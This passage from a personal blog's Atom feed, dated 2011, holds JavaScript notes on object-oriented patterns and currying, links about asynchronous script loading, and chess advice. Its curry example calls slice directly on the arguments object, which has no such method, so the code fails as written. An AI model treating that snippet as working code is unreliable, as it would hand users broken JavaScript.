padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;=&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;new&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Person&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;(&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;value&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;);&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&amp;nbsp; that&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;sayHello &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;=&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;function&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;()&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;{&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; alert&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;(&lt;/span&gt;&lt;span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;'hello I am a student'&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;);&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&amp;nbsp; &lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;};&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&amp;nbsp; &lt;/span&gt;&lt;span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;return&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt; that&lt;/span&gt;&lt;span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;;&lt;/span&gt;&lt;span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;br /&gt;&lt;/span&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt;&lt;b&gt;How to do &lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="white-space: pre-wrap;"&gt;&lt;b&gt;Public, Private, Privileged methods / variables.&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;a href="http://phrogz.net/js/classes/OOPinJS.html"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;http://phrogz.net/js/classes/OOPinJS.html&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul style="margin-top: 0px; text-align: -webkit-auto;"&gt;&lt;li style="margin-bottom: 0.6em;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;private variables&lt;/b&gt;&amp;nbsp;are declared with the 'var' keyword inside the object, and can only be accessed by private functions and privileged methods.&lt;/span&gt;&lt;/li&gt;&lt;li style="margin-bottom: 0.6em;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;private functions&lt;/b&gt;&amp;nbsp;are declared inline inside the object's constructor (or alternatively may be defined via&amp;nbsp;&lt;code class="js" style="color: #006600;"&gt;&lt;span class="keyword" style="color: #0000cc;"&gt;var&lt;/span&gt;&amp;nbsp;functionName=&lt;span class="keyword" style="color: #0000cc;"&gt;function&lt;/span&gt;&lt;span class="paren" style="color: #990000; font-weight: bold;"&gt;(){&lt;/span&gt;...&lt;span class="paren" style="color: #990000; font-weight: bold;"&gt;}&lt;/span&gt;&lt;/code&gt;) and may only be called by privileged methods (including the object's constructor).&lt;/span&gt;&lt;/li&gt;&lt;li style="margin-bottom: 0.6em;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;privileged methods&lt;/b&gt;&amp;nbsp;are declared with&amp;nbsp;&lt;code class="js" style="color: #006600;"&gt;this.methodName=&lt;span class="keyword" style="color: #0000cc;"&gt;function&lt;/span&gt;&lt;span class="paren" style="color: #990000; font-weight: bold;"&gt;(){&lt;/span&gt;...&lt;span class="paren" style="color: #990000; font-weight: bold;"&gt;}&lt;/span&gt;&lt;/code&gt;&amp;nbsp;and may invoked by code external to the object.&lt;/span&gt;&lt;/li&gt;&lt;li style="margin-bottom: 0.6em;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;public properties&lt;/b&gt;&amp;nbsp;are declared with&amp;nbsp;&lt;code class="js" style="color: #006600;"&gt;this.variableName&lt;/code&gt;&amp;nbsp;and may be read/written from outside the object.&lt;/span&gt;&lt;/li&gt;&lt;li style="margin-bottom: 0.6em;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;public methods&lt;/b&gt;&amp;nbsp;are defined by&amp;nbsp;&lt;code class="js" style="color: #006600;"&gt;Classname.&lt;span class="keyword" style="color: #0000cc;"&gt;prototype&lt;/span&gt;.methodName =&amp;nbsp;&lt;span class="keyword" style="color: #0000cc;"&gt;function&lt;/span&gt;&lt;span class="paren" style="color: #990000; font-weight: bold;"&gt;(){&lt;/span&gt;...&lt;span class="paren" style="color: #990000; font-weight: bold;"&gt;}&lt;/span&gt;&lt;/code&gt;&amp;nbsp;and may be called from outside the object.&lt;/span&gt;&lt;/li&gt;&lt;li style="margin-bottom: 0.6em;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;prototype properties&lt;/b&gt;&amp;nbsp;are defined by&amp;nbsp;&lt;code class="js" style="color: #006600;"&gt;Classname.&lt;span class="keyword" style="color: #0000cc;"&gt;prototype&lt;/span&gt;.propertyName = someValue&lt;/code&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="margin-bottom: 0.6em;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;static properties&lt;/b&gt;&amp;nbsp;are defined by&amp;nbsp;&lt;code class="js" style="color: #006600;"&gt;Classname.propertyName = someValue&lt;/code&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Currying:&lt;/b&gt; &lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;If the arguments passed to a function are less than it expects, it can return a partial curry function, to which we can pass the missing arguments and get the actual result later as if we were called the original function with all the arguments.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;function curry(func) {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var args= arguments.slice(1);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;return function () {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;return func.apply(null,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;args.concat(arguments.slice()));&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;};&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;var inc = curry(function add(a, b) {&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;return a + b;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;}, 1);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;alert(inc(6)); // 7&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;span class="Apple-style-span" style="background-color: white; color: #222222; font-family: 'Helvetica Neue', Arial, Helvetica, sans-serif; font-size: 14px; line-height: 21px;"&gt;when you find yourself calling the same function and mostly passing the same parameters, create a curry with redundant parameters&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;jslitmus - for performance testing.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;closurecompiler - for optimizing js code.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-6409903802005404308?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/6409903802005404308/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=6409903802005404308' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/6409903802005404308'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/6409903802005404308'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2011/11/javascript.html' title='Javascript.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-8501641857683997364</id><published>2011-11-06T23:08:00.000-08:00</published><updated>2011-11-06T23:08:49.461-08:00</updated><title type='text'>Loading scripts asynchronously.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Was checking ways to asynchronously load javascript files in the page.&lt;br /&gt;Came across these two excellent blogs -&amp;nbsp;&lt;a href="http://www.stevesouders.com/blog/2009/04/27/loading-scripts-without-blocking/"&gt;http://www.stevesouders.com/blog/2009/04/27/loading-scripts-without-blocking/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://friendlybit.com/js/lazy-loading-asyncronous-javascript/"&gt;http://friendlybit.com/js/lazy-loading-asyncronous-javascript/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://stevesouders.com/efws/images/0405-load-scripts-decision-tree-04.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="625" src="http://stevesouders.com/efws/images/0405-load-scripts-decision-tree-04.gif" width="904" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-8501641857683997364?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/8501641857683997364/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=8501641857683997364' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/8501641857683997364'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/8501641857683997364'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2011/11/loading-scripts-asynchronously.html' title='Loading scripts asynchronously.'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-8559384188020281524</id><published>2011-11-05T06:39:00.000-07:00</published><updated>2011-11-06T07:31:56.419-08:00</updated><title type='text'>some chess thoughts</title><content type='html'>- From your opponent moves try understand his plans in advance - like which side he would castle etc and try to  have a plan to counter that. &lt;br /&gt;- Always look for moves that makes your pieces move to good squares and are in coordination. &lt;br /&gt;- For feinchated castled bishops better move the rook pawn on the opposite side to two squares that opens up the rook file and helps in achieving check mate on the rook file.&lt;br /&gt;- Keep an eye on king safety and pawn structure, they are important, if your pawn structure is week, opponents can land their minor pieces on critical squares and torment you. If king safety is compromized, they can do sacrifices and close the came soon.&lt;br /&gt;- When you have strong knight at some out post generate the play around it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-8559384188020281524?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/8559384188020281524/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=8559384188020281524' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/8559384188020281524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/8559384188020281524'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2011/11/some-chess-thoughts.html' title='some chess thoughts'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-1486692580645914413</id><published>2011-09-29T23:07:00.000-07:00</published><updated>2011-10-27T05:38:45.430-07:00</updated><title type='text'>Chess rules</title><content type='html'>These are not the rules as how to play but rules to remember when you play.&lt;br /&gt;&lt;br /&gt;At the start.&lt;br /&gt;- Improve your pieces.&lt;br /&gt;- Try control the center.&lt;br /&gt;- Castle soon.&lt;br /&gt;&lt;br /&gt;In the middle game.&lt;br /&gt;- Improve space / coverage&lt;br /&gt;- Dont do and unnecessary exchange esp if it help your opponent expand his space.&lt;br /&gt;- Try exchange your opponents best pieces oppose the vice versa.&lt;br /&gt;- Try protect your pawn structure &lt;br /&gt;- Dont move just cause you need to move - think what are you going to gain, control / space &lt;br /&gt;- Learn about various tactics - Double, discovered, forks, pins, skewers, removing the gaurd etc.&lt;br /&gt;&lt;br /&gt;In the end game.&lt;br /&gt;- Your king is the more important piece move it to protect / promot your pawns, to to take it in front of your pawns.&lt;br /&gt;- A bad bishop is one of the color same as that of the positions on which most of your pawns are and also has very little space to move (as it is having your own pawns on its way).&lt;br /&gt;- A good bishop is the one which has more space to move and can attach your opponent pawns. &lt;br /&gt;- A good night is the one which is at the center of the board and can move to a position around. esp when the pawns are assymetric in nature.&lt;br /&gt;- Have good nights and good bishops exchange bad nights and bishops for the good ones. &lt;br /&gt;&lt;br /&gt;- learn about king vs king + pawn, king+rook+pawn vs king + rook, and other minor pices end games.&lt;br /&gt;- Always have your rooks behind passed pawns in general.&lt;br /&gt;- learn about triangulation.&lt;br /&gt;- when you have two vs 1 pawn advance the pawn which is not facing the opponent pawn as much as you can and then move the other.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In general.&lt;br /&gt;- Learn about openings and defences ( learn 2 openings, 2 defences and how to use them against everything else. Have in mind on the various threats / strenghts that each opening has)&lt;br /&gt;- Learn out various check mate patterns they would help you esp to scrifice things and win a game. Generally opponents overlook them.&lt;br /&gt;- Try make your opponents pieces move to a worst square, deprive best squares for them and have best squares for your own pieces. Look for intermediate moves between takes etc that make your position better and your opponents worse.&lt;br /&gt;- If you have bishops try to open up the board (clean as much as you can on the board so that they have free movement), and if you have knights try to close it. &lt;br /&gt;- Based on the pawn structure of your opponent try capture his bishop that can pass through his own pawns and capture your pawns.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-1486692580645914413?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/1486692580645914413/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=1486692580645914413' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/1486692580645914413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/1486692580645914413'/><link rel='alternate' type='text/html' href='http://wwwmania.blogspot.com/2011/09/chess-rules.html' title='Chess rules'/><author><name>Saiprasad</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18344261.post-7508812090504151228</id><published>2011-09-13T04:24:00.000-07:00</published><updated>2011-09-14T07:17:15.552-07:00</updated><title type='text'>A good recent game that I won.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Sacrificed my bishop to win this cool game against the &lt;a href="http://chess.com/"&gt;chess.com&lt;/a&gt;&amp;nbsp; andorid player (5secs one).&amp;nbsp; Using the birds opening.&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder="0" height="580" scrolling="no" src="http://www.chessvideos.tv/replayer-insert.php?id=50104" style="border: 1px solid black;" width="400"&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18344261-7508812090504151228?l=wwwmania.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://wwwmania.blogspot.com/feeds/7508812090504151228/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18344261&amp;postID=7508812090504151228' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18344261/posts/default/7508812090504151228'/><link rel='self' type='application/atom+xml' 